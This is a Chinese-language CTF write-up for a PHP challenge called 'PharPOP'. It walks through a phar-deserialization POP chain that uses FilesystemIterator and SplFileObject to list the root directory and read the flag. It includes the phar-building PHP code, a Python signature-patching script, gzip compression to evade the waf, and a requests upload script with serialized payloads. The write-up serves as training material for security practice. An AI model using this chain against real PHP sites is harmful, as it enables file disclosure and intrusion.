week3-4(4) PharPOP phar反序列化 phar文件本质上是一种压缩文件,以序列化形式储存,遇到某些函数结合phar://伪协议会自动进行反序列化操作。(例如 file_put_contents、file_get_contents)
phar反序列化攻击实质还是一样的,只不过phar文件为我们提供了一种过渡,即使没有unserialize()也有机会进行反序列化攻击
源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <?php highlight_file (__FILE__ );function waf ($data ) { if (is_array ($data )){ die ("Cannot transfer arrays" ); } if (preg_match ('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i' , $data )) { die ("You can't do" ); } } class air { public $p ; public function __set ($p , $value ) { $p = $this ->p->act; echo new $p ($value ); } } class tree { public $name ; public $act ; public function __destruct ( ) { return $this ->name (); } public function __call ($name , $arg ) { $arg [1 ] =$this ->name->$name ; } } class apple { public $xxx ; public $flag ; public function __get ($flag ) { $this ->xxx->$flag = $this ->flag; } } class D { public $start ; public function __destruct ( ) { $data = $_POST [0 ]; if ($this ->start == 'w' ) { waf ($data ); $filename = "/tmp/" .md5 (rand ()).".jpg" ; file_put_contents ($filename , $data ); echo $filename ; } else if ($this ->start == 'r' ) { waf ($data ); $f = file_get_contents ($data ); if ($f ){ echo "It is file" ; } else { echo "You can look at the others" ; } } } } class banana { public function __get ($name ) { return $this ->$name ; } } if (strlen ($_POST [1 ]) < 55 ) { $a = unserialize ($_POST [1 ]); } else { echo "str too long" ; } throw new Error ("start" );?>
D中file_put_contents()
能进行文件上传操作,之后输出phar文件目录 ;file_get_contents
去访问phar文件,进而使phar文件反序列化。
整个题要传两个参数0&1
参数1的作用:
unserialize()触发__destruct()
绕过throw new Error(“start”)报错(正常情况下存在它不会触发__destruct(),导致代码执行失去动力)
(3. “赛道”选择’w’ or ‘r’)
参数0的作用: 0和D连着,作用自然是在我们和D之间“搭桥”,所以D的作用就是参数0的作用
协助phar文件上传 (得到phar文件目录)
上传phar目录 ,执行phar文件内容(我们的链子)
步骤: 1、确定漏洞点 phar文件创建目的是什么?
一定与flag有关
有关flag题目给了一个提示// flag in /
是flag文件的目录 ,那我们还需要文件名称 并读取文件
之后注意air里的这句:
一开始我很疑惑这句话,怎么看怎么觉得奇怪
之后试着单独把air类拿出来执行,会报错,提示类名需要是有效字符串
!应该说的就是 $p不是有效字符串,那就是说给$p找个“有用的名字”
看到别人的wp里给赋值了FilesystemIterator
搜了一下这就是个类名,用来实现目录遍历的
喔,这里是填原生类 的,本题就是用原生类FilesystemIterator遍历目录获得flag文件名称 ,之后用原生类SplFileObject读取文件
大大滴漏洞!
2、创建phar文件 通过phar文件触发tree类的__destruct(),启动我们的链子
我们先写链子
链子的节点是魔术方法
1 2 3 4 5 6 7 8 魔术方法 [寻找魔术方法与类的依据] 属性赋值 tree::__destruct() [name()] tree::__call() [->$name(不可访问变量)] $name = class apple //banana的__get()显然没用 apple::__get() [->$flag=(给不可访问变量赋值)] $xxx = class air $flag = "glob:///f*" //在/下找f开头文件 air::__set() [->act] p = class tree $act = "FilesystemIterator"//__set()的$value是$this->flag,所以前面给$flag赋值flag目录,然后遍历 //在类的方法中注意区分p(属性)与$p(新变量)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php highlight_file (__FILE__ );class air { public $p ; public function __set ($p , $value ) { $p = $this ->p->act; echo new $p ($value ); } } class tree { public $name ; public $act ; public function __destruct ( ) { return $this ->name (); } public function __call ($name , $arg ) { $arg [1 ] =$this ->name->$name ; } } class apple { public $xxx ; public $flag ; public function __get ($flag ) { $this ->xxx->$flag = $this ->flag; } } $b [0 ] = new tree ();$b [0 ]->name = new apple ();$b [0 ]->name->xxx = new air ();$b [0 ]->name->flag = "glob:///f*" ;$b [0 ]->name->xxx->p = new tree ();$b [0 ]->name->xxx->p->act = "FilesystemIterator" ;$b [1 ] = 1 ; @unlink ("filename.phar" ); $phar = new Phar ("filename.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$phar ->setMetadata ($b );$phar ->addFromString ("a.txt" ,"contents" );$phar ->stopBuffering ();?>
运行生成filename.phar文件
因为想要通过phar文件触发__destruct(),还需要绕过异常报错
法一 :显式销毁,当对象没有被引用时就会被销毁,所以我们可以给对象赋值NULL
在参数1里加一个对象 并赋值NULL(当然参数1也要先绕过报错)
法二 :隐式销毁,在代码执行完最后一行时,所有申请的内存都要释放掉
强制让GC垃圾回收机制回收对象内存:需要反序列化一个数组,然后再利用第一个索引,来触发GC
php垃圾回收机制与反序列化
参数0的绕过就要用法二,将phar文件改一下索引
因为改了索引值,原来的签名就不匹配了,再改一下签名
1 2 3 4 5 6 7 8 from hashlib import sha1file = open ("F:\脚本\.idea\\filename.phar" ,'rb' ).read() text = file[:-28 ] last = file[-8 :] newfile = text+sha1(text).digest()+last open ('filename1.phar' ,'wb' ).write(newfile)
得到正确的phar文件
3、绕过waf 对phar文件进行压缩 (zip)
(与上传文件同步进行)
4、上传文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 class D { public $start ; public function __destruct ( ) { $data = $_POST [0 ]; if ($this ->start == 'w' ) { waf ($data ); $filename = "/tmp/" .md5 (rand ()).".jpg" ; file_put_contents ($filename , $data ); echo $filename ; } else if ($this ->start == 'r' ) { waf ($data ); $f = file_get_contents ($data ); if ($f ){ echo "It is file" ; } else { echo "You can look at the others" ; } } } } $a = new D;$a ->start = 'w' ;$a ->raoguo = new D;$b = serialize ($a );echo $b ;
上传文件(w)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import gzipimport requestsimport reurl = 'http://eb42c7e1-21cd-4434-9b23-9481b9df5d0b.node4.buuoj.cn:81/' file = open ("F:\脚本\.idea\\filename1.phar" , "rb" ) file_out = gzip.open ("./filename1.zip" , "wb+" ) file_out.writelines(file) file_out.close() file.close() res = requests.post( url, data={ 1 : 'O:1:"D":2:{s:5:"start";s:1:"w";s:6:"rao";O:1:"D":1:N;}' , 0 : open ("./filename1.zip" ,'rb' ).read() } ) print (res.text)
得到phar文件目录
5、继续传参访问phar 1 2 1 : 'O:1:"D":2:{s:5:"start";s:1:"r";s:6:"rao";O:1:"D":1:N;}' ,0 : 'phar:///tmp/da74e6ce7ff2e3a48d021cdff3615bf2.jpg/a.text'
得到flag文件名称:fflaggg
6、读文件 步骤和签名基本一致,只需要改成
1 2 3 $b [0 ]->name->flag = "/fflaggg" ;$b [0 ]->name->xxx->p->act = "splFileObject" ;
得到flag
wp